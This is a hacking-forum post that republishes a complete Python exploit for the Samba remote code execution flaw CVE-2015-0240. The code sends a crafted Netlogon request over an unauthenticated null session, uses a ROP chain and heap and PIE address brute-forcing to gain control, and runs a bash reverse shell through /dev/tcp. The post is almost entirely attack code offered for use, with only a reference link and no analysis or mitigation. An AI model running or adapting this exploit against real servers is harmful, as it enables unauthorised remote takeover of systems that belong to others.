HackerTop - View topic - Samba RCE Exploit CVE-2015-0240
View unanswered posts | View active topics It is currently Wed Dec 19, 2018 10:01 am



Reply to topic  [ 1 post ] 
 Samba RCE Exploit CVE-2015-0240 
Author Message
Site Admin
User avatar

Joined: Sun Jul 24, 2016 6:44 am
Posts: 18
Reply with quote
Samba RCE Exploit

Code:
#!/usr/bin/env python2

# Author: kelwin@chaitin.com

# sudo apt-get install samba=2:3.6.3-2ubuntu2 samba-common=2:3.6.3-2ubuntu2 libwbclient0=2:3.6.3-2ubuntu2

import sys
import signal
import time

# https://github.com/zTrix/zio
from zio import *

from multiprocessing import Pool, Manager

import impacket
from impacket.dcerpc.v5 import transport, nrpc
from impacket.dcerpc.v5.ndr import NDRCALL
from impacket.dcerpc.v5.dtypes import *

host = '127.0.0.1'
port = 445
cmd = "bash -c 'bash >/dev/tcp/127.0.0.1/1337 0<&1 '\0"
# 0x0041e2cb: pop eax ; pop esi ; pop edi ; pop ebp ; ret ;
pop4ret_o = 0x41e2cb
# 0x000a6d7c: lea esp, dword [ecx-0x04] ; ret ;
popebx_o = 0x006fd522
pivot_o = 0xa6d7c
got_o = 0x9cd640
fmt_o = 0x8e043e
system_o = 0xa4250
snprintf_o = 0xa3e20
bss_o = 0x9d5dc0

pie = 0x80000000
free_addr = 0x809fa10c + 8 + 32

def exploit(free_addr, pie=0, destructor=-1, step=0x80):
    pivot = pie + pivot_o
    pop4ret = pie + pop4ret_o
    popebx = pie + popebx_o
    got = pie + got_o
    fmt = pie + fmt_o
    system = pie + system_o
    snprintf = pie + snprintf_o
    bss = pie + bss_o

    if pie != 0:
        destructor = pivot
    # struct talloc_chunk {
    #     struct talloc_chunk *next, *prev;
    #     struct talloc_chunk *parent, *child;
    #     struct talloc_reference_handle *refs; // refs = 0
    #     talloc_destructor_t destructor; // destructor = -1: (No Crash), others: controled EIP
    #     const char *name;
    #     size_t size;
    #     unsigned flags; // magic
    #     void *poo
    # };
    talloc_chunk = l32(0)           # refs => 0
    talloc_chunk += l32(destructor) # destructor => control EIP
    talloc_chunk += l32(pop4ret)    # pop4ret
    talloc_chunk += 'leet'          #
    talloc_chunk += l32(0xe8150c70) # flags => magic

    # ebx => got
    rop = l32(popebx) + l32(got)
    # write cmd to bss
    for i in xrange(len(cmd)):
        c = cmd[i]
        rop += l32(snprintf) + l32(pop4ret)
        rop += l32(bss + i) + l32(2) + l32(fmt) + l32(ord(c))
    # system(cmd)
    rop += l32(system) + 'leet' + l32(bss)

    payload = 'deadbeef'
    payload += talloc_chunk * 0x1000 * step
    payload += 'leet' * 2
    payload += rop.ljust(2560, 'C')
    payload += 'cafebabe' + '\0'

    username = ''
    password = ''

    ###
    # impacket does not implement NetrServerPasswordSet
    ###
    # 3.5.4.4.6 NetrServerPasswordSet (Opnum 6)
    class NetrServerPasswordSet(NDRCALL):
        opnum = 6
        structure = (
           ('PrimaryName',nrpc.PLOGONSRV_HANDLE),
           ('AccountName',WSTR),
           ('SecureChannelType',nrpc.NETLOGON_SECURE_CHANNEL_TYPE),
           ('ComputerName',WSTR),
           ('Authenticator',nrpc.NETLOGON_AUTHENTICATOR),
           ('UasNewPassword',nrpc.ENCRYPTED_NT_OWF_PASSWORD),
        )

    class NetrServerPasswordSetResponse(NDRCALL):
        structure = (
           ('ReturnAuthenticator',nrpc.NETLOGON_AUTHENTICATOR),
           ('ErrorCode',NTSTATUS),
        )

    nrpc.OPNUMS[6] = (NetrServerPasswordSet, NetrServerPasswordSetResponse)

    ###
    # connect to target
    ###
    rpctransport = transport.DCERPCTransportFactory(r'ncacn_np:%s[\PIPE\netlogon]' % host)
    rpctransport.set_credentials('','')  # NULL session
    rpctransport.set_dport(port)
    # impacket has a problem with SMB2 dialect against samba4
    # force to 'NT LM 0.12' only
    rpctransport.preferred_dialect('NT LM 0.12')

    dce = rpctransport.get_dce_rpc()
    dce.connect()
    dce.bind(nrpc.MSRPC_UUID_NRPC)

    sessionKey = '\x00' * 16

    ###
    # prepare ServerPasswordSet request
    ###
    authenticator = nrpc.NETLOGON_AUTHENTICATOR()
    authenticator['Credential'] = nrpc.ComputeNetlogonCredential('12345678', sessionKey)
    authenticator['Timestamp'] = 10

    uasNewPass = nrpc.ENCRYPTED_NT_OWF_PASSWORD()
    uasNewPass['Data'] = payload

    primaryName = nrpc.PLOGONSRV_HANDLE()
    # ReferentID field of PrimaryName controls the uninitialized value of creds in ubuntu 12.04 32bit
    primaryName.fields['ReferentID'] = free_addr

    request = NetrServerPasswordSet()
    request['PrimaryName'] = primaryName
    request['AccountName'] = username + '\x00'
    request['SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.WorkstationSecureChannel
    request['ComputerName'] = host + '\x00'
    request['Authenticator'] = authenticator
    request['UasNewPassword'] = uasNewPass

    DCERPCSessionError = nrpc.DCERPCSessionError
    try:
        resp = dce.request(request)
        print("no error !!! error code: 0xc0000225 or 0xc0000034 is expected")
        print("seems not vulnerable")
        # resp.dump()
        dce.disconnect()
        return 2
    except DCERPCSessionError as e:
        # expect error_code: 0xc0000225 - STATUS_NOT_FOUND
        # expect error_code: 0xc0000034 - STATUS_OBJECT_NAME_NOT_FOUND
        print("seems not vulnerable")
        # resp.dump()
        dce.disconnect()
        return 2
    except impacket.nmb.NetBIOSError as e:
        # print 'exception occured'
        if e.args[0] == 'Error while reading from remote':
            # print("connection lost!!!\nmight be vulnerable")
            return 1
        else:
            raise
    except AttributeError:
        # print("exception")
        return 0

def init_worker():
    signal.signal(signal.SIGINT, signal.SIG_IGN)

def guess_heap(free_addr, step, hits):
    if len(hits) > 0: return
    log("[+] trying heap addr %s" % hex(free_addr), 'green')
    res = exploit(free_addr, destructor=-1, step=step)
    if res == 0:
        res = exploit(free_addr, destructor=0, step=step)
        if res != 0:
            log("hit: %s" % hex(free_addr), 'red')
            hits.append(free_addr)

def guess_pie(free_addr, pie, step):
    log("[+] trying pie base addr %s" % hex(pie), 'green')
    try:
        exploit(free_addr, pie=pie, step=step)
    except impacket.nmb.NetBIOSTimeout:
        pass

def brute_force_heap(step):
    hit = False
    print "Initializng 10 processes for brute forcing heap address..."
    pool = Pool(10, init_worker)
    manager = Manager()
    hits = manager.list()
    for free_addr_base in range(0xb7700000, 0xba000000, 0x1000 * step * 20):
        for offset in xrange(5):
            pool.apply_async(guess_heap, (free_addr_base + offset * 4, step, hits))

    try:
        while True:
            time.sleep(5)
            if len(hits) > 0:
                pool.terminate()
                pool.join()
                return hits[0]

    except KeyboardInterrupt:
        print "Caught KeyboardInterrupt, terminating..."
        pool.terminate()
        pool.join()
        sys.exit(0)

def brute_force_pie(free_addr, step):
    print "Initializng 10 processes for brute forcing PIE base address..."
    pool = Pool(10, init_worker)
    for pie in range(0xb6d00000, 0xb6f00000, 0x1000):
        pool.apply_async(guess_pie, (free_addr, pie, step))

    try:
        time.sleep(60 * 60)

    except KeyboardInterrupt:
        print "Caught KeyboardInterrupt, terminating..."
        pool.terminate()
        pool.join()

    else:
        pool.close()
        pool.join()

step = 0x1
free_addr = brute_force_heap(step)
brute_force_pie(free_addr, step)





reference:http://blog.chaitin.com/samba_exploit_cve-2015-0240/


Sun Jul 24, 2016 9:33 am
Profile
Display posts from previous:  Sort by  
Reply to topic   [ 1 post ] 

You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot post attachments in this forum

Search for:
Jump to:  
cron
Copyright © 2003-2016 HackerTop. All rights reserved.
Privacy & Cookies Policy
Community Forum Software by phpBB